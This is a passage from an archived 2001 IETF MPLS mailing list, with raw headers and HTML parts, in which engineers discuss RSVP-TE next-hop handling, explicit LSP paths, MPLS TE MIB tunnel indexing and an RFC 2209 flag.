<BR><FONT SIZE=3D2 FACE=3D"Arial">if the CSPF caclulate a path next hop =
by RTB and then RTD.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">but if the RTA send out the packet =
with the destiantion of RTD, </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">both the RTB and RTC will forward =
this packet. so How can ensure the LSP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">establish through RTA-RTB-RTD =
?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Best Regards.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">marshall</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15B39.356E7760--


From owner-mpls@UU.NET  Mon Oct 22 23:14:12 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05642
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 23:14:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllxs11514;
	Tue, 23 Oct 2001 03:13:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllxs16932
	for mpls-outgoing; Tue, 23 Oct 2001 03:12:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllxs16921
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 03:12:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllxs21786
	for <mpls@uu.net>; Tue, 23 Oct 2001 03:12:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllxs10323
	for <mpls@uu.net>; Tue, 23 Oct 2001 03:12:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id XAA01754 for <mpls@uu.net>; Mon, 22 Oct 2001 23:12:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id XAA11908 for mpls@uu.net; Mon, 22 Oct 2001 23:12:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllxs16846
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 03:11:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllxs20646
	for <mpls@UU.NET>; Tue, 23 Oct 2001 03:11:25 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQllxs09224
	for <mpls@UU.NET>; Tue, 23 Oct 2001 03:11:43 GMT
Received: from ASIMHA-HP.cisco.com (sjc-vpn1-848.cisco.com [10.21.99.80])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id XAA04797;
	Mon, 22 Oct 2001 23:10:58 -0400 (EDT)
Date: Mon, 22 Oct 2001 23:21:08 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: Marshall Ma Shaowen <Marshall@in.huawei.com>
cc: <mpls@UU.NET>, <mpls-ops@mplsrc.com>
Subject: Re: the nexthop of RSVP_TE.
In-Reply-To: <751B6DD7A243D511AB9F0002557C5687014604BF@HUAWEIMAIL>
Message-ID: <Pine.WNT.4.33.0110222316460.1000-100000@ASIMHA-HP.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 23 Oct 2001, Marshall Ma Shaowen wrote:

MMS:hi, all
MMS:I have a question about the nexthop of RSVP_TE.
MMS:as the draft said that we should follow the ERO to forward the packet.
MMS:but the rfc2205 says that the destination address is the egress ip address.
MMS:so there is some problem about this

First of all rfc2205 does not talk about LSPs.

MMS:
MMS:RTA
MMS:  |
MMS:-+--------------+----------------+----------
MMS:                       |                      |
MMS:                       |                      |
MMS:                   RTB               RTC
MMS:                       |                      |
MMS:                       |                      |
MMS:-----------------+---------------+--------------+--------
MMS:                                                                   |
MMS:                                                                RTD
MMS:if the CSPF caclulate a path next hop by RTB and then RTD.
MMS:but if the RTA send out the packet with the destiantion of RTD,
MMS:both the RTB and RTC will forward this packet. so How can ensure the LSP
MMS:establish through RTA-RTB-RTD ?

Ok.  Assuming RTA is the headend of the tunnel, there are a few ways to ensure
that the LSP follows the path RTA-RTB-RTD:

1. Explicit path where you simply specify the next-hops but it is still run
against the TED to ensure the contraints are met

2. You could use something like the affinity bits to control this (although
this is not the cleanest way of acheiving the goal).

3. you could set your igp cost and bandwidth to look most attrictive along
this path.


-ajay
MMS:
MMS:Best Regards.
MMS:marshall
MMS:

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Mon Oct 22 23:52:05 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06399
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 23:52:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllxv21154;
	Tue, 23 Oct 2001 03:50:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllxv19797
	for mpls-outgoing; Tue, 23 Oct 2001 03:50:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllxv19790
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 03:50:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllxv16471
	for <mpls@UU.NET>; Tue, 23 Oct 2001 03:48:37 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQllxv16756
	for <mpls@UU.NET>; Tue, 23 Oct 2001 03:48:54 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLHH4J>; Tue, 23 Oct 2001 09:21:52 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687014605FD@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject:  Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Tue, 23 Oct 2001 09:21:52 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15B76.0CDC5780"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15B76.0CDC5780
Content-Type: text/plain;
	charset="iso-8859-1"

 

 
Hello All ,
 
   I have one more doubt can you please clarify it ?
  The tunnel table has only mplsTunnelIndexNext if i assume LSPID as the
   mplsTunnelInstance then shouldn't there be mplsTunnelInstanceNext ?
   Because the LSPID is generated by the Device and the NM can't assign the
LSPID. 
   Or if it is not the case how does the unique index generated by the NM ?
   Or is it that the NM does the poling by giving the different
mplsTunnelInstanceIndex till 
   the device accept it ?
 
Thanks in advance
Ashwin

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Monday, October 22, 2001 8:00 PM
To: Ashwin C. Prabhu
Cc: mpls@UU.NET; mpls-ops@mplsrc.com
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt 





 How to configure that this tunnel instance is primary, secondary in the 
 Tunnel Table ?


        Use a different tunnelInstancePriority.



 Is it assumed that the one with the highest instance priority is the
primary ?


        Yes.

        --Tom





 Please get on the same if anybody know it.
 
Thanks in Advance
Ashwin
 
 




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C15B76.0CDC5780
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT=20
  face=3DTahoma>&nbsp;</DIV></FONT>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>Hello&nbsp;<SPAN=20
  class=3D808461516-23102001>All&nbsp;</SPAN>,</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>&nbsp;<SPAN =
class=3D808461516-23102001>&nbsp;</SPAN> I=20
  have one more doubt can you please clarify it ?</SPAN></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D997564203-23102001>&nbsp; The tunnel table has only =
mplsTunnelIndexNext=20
  if i assume LSPID as the<BR><SPAN =
class=3D808461516-23102001>&nbsp;&nbsp;</SPAN>=20
  mplsTunnelInstance</SPAN><SPAN class=3D997564203-23102001><SPAN=20
  class=3D808461516-23102001>&nbsp;</SPAN>then shouldn't there be=20
  mplsTunnelInstanceNext ?</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>&nbsp;&nbsp; Because the LSPID is =
generated by the=20
  Device and the NM can't assign the LSPID. </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>&nbsp;&nbsp; Or if it is not the case how =
does the=20
  unique index generated by the&nbsp;NM ?<BR><SPAN=20
  class=3D808461516-23102001>&nbsp;&nbsp;&nbsp;Or&nbsp;is it that the =
NM does the=20
  poling&nbsp;by giving the different&nbsp;mplsTunnelInstanceIndex till =

  </SPAN></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001><SPAN =
class=3D808461516-23102001>&nbsp;&nbsp;&nbsp;the=20
  devic</SPAN></SPAN></FONT><FONT color=3D#0000ff face=3DArial =
size=3D2><SPAN=20
  class=3D997564203-23102001><SPAN class=3D808461516-23102001>e accept =
it=20
  ?</SPAN></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>Thanks in advance</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D997564203-23102001>Ashwin</SPAN></FONT></DIV>
  <BLOCKQUOTE>
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau=20
    [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Monday, October 22, 2001 =
8:00=20
    PM<BR><B>To:</B> Ashwin C. Prabhu<BR><B>Cc:</B> mpls@UU.NET;=20
    mpls-ops@mplsrc.com<BR><B>Subject:</B> Re: Doubt in=20
    draft-ietf-mpls-te-mib-07.txt <BR><BR></DIV></FONT><FONT =
face=3Darial=20
    size=3D3><BR></FONT>
    <BLOCKQUOTE type=3D"cite" cite><FONT color=3D#0000ff face=3Darial=20
      size=3D2>&nbsp;How to configure that this tunnel instance is =
primary,=20
      secondary in the </FONT><FONT size=3D3><BR></FONT><FONT =
color=3D#0000ff=20
      face=3Darial size=3D2>&nbsp;Tunnel Table=20
    =
?</FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;</X-TAB>Use=20
    a different tunnelInstancePriority.<BR><BR>
    <BLOCKQUOTE type=3D"cite" cite><FONT color=3D#0000ff face=3Darial=20
      size=3D2>&nbsp;Is it assumed that the one with the highest =
instance priority=20
      is the primary=20
    =
?</FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;</X-TAB>Yes.<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR>
    <BLOCKQUOTE type=3D"cite" cite><FONT size=3D3>&nbsp;</FONT><FONT =
color=3D#0000ff=20
      face=3Darial size=3D2>Please get on the same if anybody know =
it.</FONT><FONT=20
      size=3D3><BR>&nbsp;<BR></FONT><FONT color=3D#0000ff face=3Darial =
size=3D2>Thanks=20
      in Advance</FONT><FONT size=3D3><BR></FONT><FONT color=3D#0000ff =
face=3Darial=20
      size=3D2>Ashwin</FONT><FONT=20
    size=3D3><BR>&nbsp;<BR>&nbsp;</FONT></BLOCKQUOTE><BR><BR><BR>
    =
<DIV>-------------------------------------------------------------------=
-----</DIV>Mathematics=20
    is the supreme nostalgia of our time. =
</BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15B76.0CDC5780--


From owner-mpls@UU.NET  Mon Oct 22 23:56:28 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06446
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 23:56:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllxv00690;
	Tue, 23 Oct 2001 03:55:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllxv20104
	for mpls-outgoing; Tue, 23 Oct 2001 03:54:49 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllxv20063
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 03:54:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllxv07463
	for <mpls@uu.net>; Tue, 23 Oct 2001 03:54:02 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f128.law12.hotmail.com [64.4.19.128])
	id QQllxv28521
	for <mpls@uu.net>; Tue, 23 Oct 2001 03:54:19 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 22 Oct 2001 20:54:01 -0700
Received: from 216.175.94.193 by lw12fd.law12.hotmail.msn.com with HTTP;
	Tue, 23 Oct 2001 03:54:01 GMT
X-Originating-IP: [216.175.94.193]
From: "Hariom P" <hmp123@hotmail.com>
To: mpls@UU.NET
Subject: RSVP related question
Date: Mon, 22 Oct 2001 20:54:01 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F128JTGKGcdmRAVjOZJ0001580c@hotmail.com>
X-OriginalArrivalTime: 23 Oct 2001 03:54:01.0324 (UTC) FILETIME=[59C202C0:01C15B76]
Sender: owner-mpls@UU.NET
Precedence: bulk

In the RFC2209, under the explaination for RESV_REFRESH sequence, B_Merge 
local flag is defined and used..

I have failed to understand the intent of using this variable.. I would 
really appreciate if any one could help me understand the purpose and usage 
of this variable in that context..

with regards,
Rajeev





_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Tue Oct 23 02:10:09 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA19260
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 02:10:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllye00119;
	Tue, 23 Oct 2001 06:07:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllye27886
	for mpls-outgoing; Tue, 23 Oct 2001 06:07:14 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllye27869
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 06:07:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllye21614
	for <mpls@UU.NET>; Tue, 23 Oct 2001 06:06:07 GMT
Received: from huaweimail.in.huawei.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQllye26393
	for <mpls@UU.NET>; Tue, 23 Oct 2001 06:06:10 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLHJFR>; Tue, 23 Oct 2001 11:39:09 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C568701460B32@HUAWEIMAIL>
From: Marshall Ma Shaowen <Marshall@in.huawei.com>
To: Ajay Simha <asimha@cisco.com>,
        Marshall Ma Shaowen
	 <Marshall@in.huawei.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RE: the nexthop of RSVP_TE.
Date: Tue, 23 Oct 2001 11:39:08 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15B89.39D7DDA0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15B89.39D7DDA0
Content-Type: text/plain;
	charset="iso-8859-1"

hi, all
thanks for David Charlap.he give me the solution.
I konw the rfc2205 doesn't talk about the LSPs.but if I follow the rfc2205, 
I will choose the RTD's IP address as the packet's destination address. 
and If I send  the packet with the IP address of RTB . I can not let the 
router that don't know RSVP to forward the packet as the rfc2205 said.
but along the way of LSP. if a router don't know RSVP. I cannot setup a LSP.

So I follow the destination address will be set as RTB's IP address. and I
can update 
my IP stack to let socket send out a packet based on the nexthop.
and I got another question ,
if I choose RTB's IP address,do we need to implement Router Alert option in
IP option ?

Best Redards
marshall

-----Original Message-----
From: Ajay Simha [mailto:asimha@cisco.com]
Sent: Tuesday, October 23, 2001 8:51 AM
To: Marshall Ma Shaowen
Cc: mpls@UU.NET; mpls-ops@mplsrc.com
Subject: Re: the nexthop of RSVP_TE.


On Tue, 23 Oct 2001, Marshall Ma Shaowen wrote:

MMS:hi, all
MMS:I have a question about the nexthop of RSVP_TE.
MMS:as the draft said that we should follow the ERO to forward the packet.
MMS:but the rfc2205 says that the destination address is the egress ip
address.
MMS:so there is some problem about this

First of all rfc2205 does not talk about LSPs.

MMS:
MMS:RTA
MMS:  |
MMS:-+--------------+----------------+----------
MMS:                       |                      |
MMS:                       |                      |
MMS:                   RTB               RTC
MMS:                       |                      |
MMS:                       |                      |
MMS:-----------------+---------------+--------------+--------
MMS:                                                                   |
MMS:                                                                RTD
MMS:if the CSPF caclulate a path next hop by RTB and then RTD.
MMS:but if the RTA send out the packet with the destiantion of RTD,
MMS:both the RTB and RTC will forward this packet. so How can ensure the LSP
MMS:establish through RTA-RTB-RTD ?

Ok.  Assuming RTA is the headend of the tunnel, there are a few ways to
ensure
that the LSP follows the path RTA-RTB-RTD:

1. Explicit path where you simply specify the next-hops but it is still run
against the TED to ensure the contraints are met

2. You could use something like the affinity bits to control this (although
this is not the cleanest way of acheiving the goal).

3. you could set your igp cost and bandwidth to look most attrictive along
this path.


-ajay
MMS:
MMS:Best Regards.
MMS:marshall
MMS:

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi

------_=_NextPart_001_01C15B89.39D7DDA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: the nexthop of RSVP_TE.</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>hi, all</FONT>
<BR><FONT SIZE=3D2>thanks for David Charlap.he give me the =
solution.</FONT>
<BR><FONT SIZE=3D2>I konw the rfc2205 doesn't talk about the LSPs.but =
if I follow the rfc2205, </FONT>
<BR><FONT SIZE=3D2>I will choose the RTD's IP address as the packet's =
destination address. </FONT>
<BR><FONT SIZE=3D2>and If I send&nbsp; the packet with the IP address =
of RTB . I can not let the </FONT>
<BR><FONT SIZE=3D2>router that don't know RSVP to forward the packet as =
the rfc2205 said.</FONT>
<BR><FONT SIZE=3D2>but along the way of LSP. if a router don't know =
RSVP. I cannot setup a LSP. </FONT>
<BR><FONT SIZE=3D2>So I follow the destination address will be set as =
RTB's IP address. and I can update </FONT>
<BR><FONT SIZE=3D2>my IP stack to let socket send out a packet based on =
the nexthop.</FONT>
<BR><FONT SIZE=3D2>and I got another question ,</FONT>
<BR><FONT SIZE=3D2>if I choose RTB's IP address,do we need to implement =
Router Alert option in IP option ?</FONT>
</P>

<P><FONT SIZE=3D2>Best Redards</FONT>
<BR><FONT SIZE=3D2>marshall</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Ajay Simha [<A =
HREF=3D"mailto:asimha@cisco.com">mailto:asimha@cisco.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, October 23, 2001 8:51 AM</FONT>
<BR><FONT SIZE=3D2>To: Marshall Ma Shaowen</FONT>
<BR><FONT SIZE=3D2>Cc: mpls@UU.NET; mpls-ops@mplsrc.com</FONT>
<BR><FONT SIZE=3D2>Subject: Re: the nexthop of RSVP_TE.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>On Tue, 23 Oct 2001, Marshall Ma Shaowen =
wrote:</FONT>
</P>

<P><FONT SIZE=3D2>MMS:hi, all</FONT>
<BR><FONT SIZE=3D2>MMS:I have a question about the nexthop of =
RSVP_TE.</FONT>
<BR><FONT SIZE=3D2>MMS:as the draft said that we should follow the ERO =
to forward the packet.</FONT>
<BR><FONT SIZE=3D2>MMS:but the rfc2205 says that the destination =
address is the egress ip address.</FONT>
<BR><FONT SIZE=3D2>MMS:so there is some problem about this</FONT>
</P>

<P><FONT SIZE=3D2>First of all rfc2205 does not talk about LSPs.</FONT>
</P>

<P><FONT SIZE=3D2>MMS:</FONT>
<BR><FONT SIZE=3D2>MMS:RTA</FONT>
<BR><FONT SIZE=3D2>MMS:&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:-+--------------+----------------+----------</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
RTB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; RTC</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:-----------------+---------------+--------------+--------</=
FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT =
SIZE=3D2>MMS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RTD</FONT>
<BR><FONT SIZE=3D2>MMS:if the CSPF caclulate a path next hop by RTB and =
then RTD.</FONT>
<BR><FONT SIZE=3D2>MMS:but if the RTA send out the packet with the =
destiantion of RTD,</FONT>
<BR><FONT SIZE=3D2>MMS:both the RTB and RTC will forward this packet. =
so How can ensure the LSP</FONT>
<BR><FONT SIZE=3D2>MMS:establish through RTA-RTB-RTD ?</FONT>
</P>

